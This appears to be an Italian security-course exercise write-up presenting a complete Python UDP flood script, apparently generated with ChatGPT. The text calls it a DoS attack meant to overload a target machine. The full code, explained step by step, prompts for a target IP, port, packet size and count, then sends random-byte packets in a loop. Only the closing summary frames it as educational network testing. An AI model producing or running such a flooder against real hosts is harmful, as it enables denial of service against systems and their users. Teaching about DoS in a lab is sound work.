

Esercizio del Giorno (potete aiutarvi con ChatGPT)

Requisiti del Programma:

Input dell'IP Target:

- Il programma deve richiedere all'utente di inserire l'IP della macchina target.

Input della Porta Target:

- Il programma deve richiedere all'utente di inserire la porta UDP della macchina target.

Costruzione del Pacchetto:

- La grandezza dei pacchetti da inviare deve essere di 1 KB per pacchetto.
- Suggerimento: per costruire il pacchetto da 1 KB, potete utilizzare il modulo random per la generazione di byte casuali.

Numero di Pacchetti da Inviare:

- Il programma deve chiedere all'utente quanti pacchetti da 1 KB inviare.

Come da esercizio abbiamo chiesto a Chatgpt di andare a creare uno script per mandare un attacco Dos(quindi andremo a mandare un numero alto di pacchetti per fare in modo che la CPU vada "in palla" e smetta di svolgere le sue normali funzioni) ad un determinato indirizzo IP.

Potremo inoltre decidere la porta, il numero di pacchetti e la dimensione degli stessi.
Il codice è il seguente:

1. Importazione dei Moduli

```
import socket  
import random
```

socket: Questo modulo permette di creare una connessione di rete, in questo caso tramite il protocollo UDP.

random: Viene usato per generare numeri casuali. Qui, il modulo è usato per creare byte casuali e selezionare una porta casuale.

2. Funzione `crea_pacchetto(dim)`

def `crea_pacchetto(dim)`:

```
# Genera un pacchetto di byte casuali della dimensione specificata
return bytearray(random.getrandbits(8) for _ in range(dim))
```

Questa funzione crea un **pacchetto di byte casuali** della dimensione specificata dall'utente:

- `dim` è il numero di byte da generare (dimensione del pacchetto).
- `random.getrandbits(8)` genera un byte casuale (8 bit).
- `bytearray(...)` crea un array di byte casuali, che rappresenta il pacchetto.

3. Funzione Principale `main()`

La funzione `main()` contiene un ciclo `while True`, che permette di ripetere il processo di invio pacchetti fino a quando l'utente decide di uscire.

def `main()`:

```
while True:
```

```
# Input dell'IP target
```

```
ip_target = input("Inserisci l'IP della macchina target: ")
```

```
# Input della porta target o scelta di una porta casuale
```

```
scelta_porta = input("Vuoi usare una porta specifica (s) o una porta casuale (c)? [s/c]: ")
scelta_porta = scelta_porta.lower()
```

```
if scelta_porta == 's':
```

```
    porta_target = int(input("Inserisci la porta UDP della macchina target: "))
```

```
else:
```

```
    porta_target = random.randint(1024, 65535)
```

```
    print(f"Porta casuale selezionata: {porta_target}")
```

```
# Input della dimensione del pacchetto in byte
```

```
dim_pacchetto = int(input("Inserisci la dimensione del pacchetto in byte (es. 1024 per 1 KB): "))
```

```
# Input del numero di pacchetti da inviare
```

```
num_pacchetti = int(input("Inserisci il numero di pacchetti da inviare: "))
```

Configurazione del Socket UDP

```
# Configura il socket UDP
```

```
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
```

Creazione del Pacchetto e Invio

```
# Creazione del pacchetto con dimensione specificata
```

```
pacchetto = crea_pacchetto(dim_pacchetto)
```

Invio dei pacchetti

Questa riga chiama la funzione `crea_pacchetto` per creare un pacchetto della dimensione specificata dall'utente.

Con un ciclo `for`, il programma invia il numero di pacchetti richiesto dall'utente, usando `sock.sendto(pacchetto, (ip_target, porta_target))`.

Per ogni pacchetto, viene mostrato un messaggio che indica il numero del pacchetto, l'indirizzo IP di destinazione, la porta e la dimensione.

```
    for i in range(num_pacchetti):
        sock.sendto(pacchetto, (ip_target, porta_target))
        print(f"Pacchetto {i+1} inviato a {ip_target}:{porta_target} con dimensione {dim_pacchetto} byte")

    print("Invio completato.")
    sock.close()

    # Chiede se l'utente vuole ripetere l'operazione
    ripeti = input("Vuoi ripetere l'operazione? (s/n): ").lower()
    if ripeti != 's':
        print("Programma terminato.")
        break

if __name__ == "__main__":
    main()
```

Riassunto

- Questo script è pensato per inviare pacchetti UDP di dimensioni e quantità specificate verso un indirizzo IP e una porta scelta o generata casualmente.
- È un esempio di test di rete che può essere usato per simulare l'invio di traffico, ad esempio per scopi educativi e di testing di rete.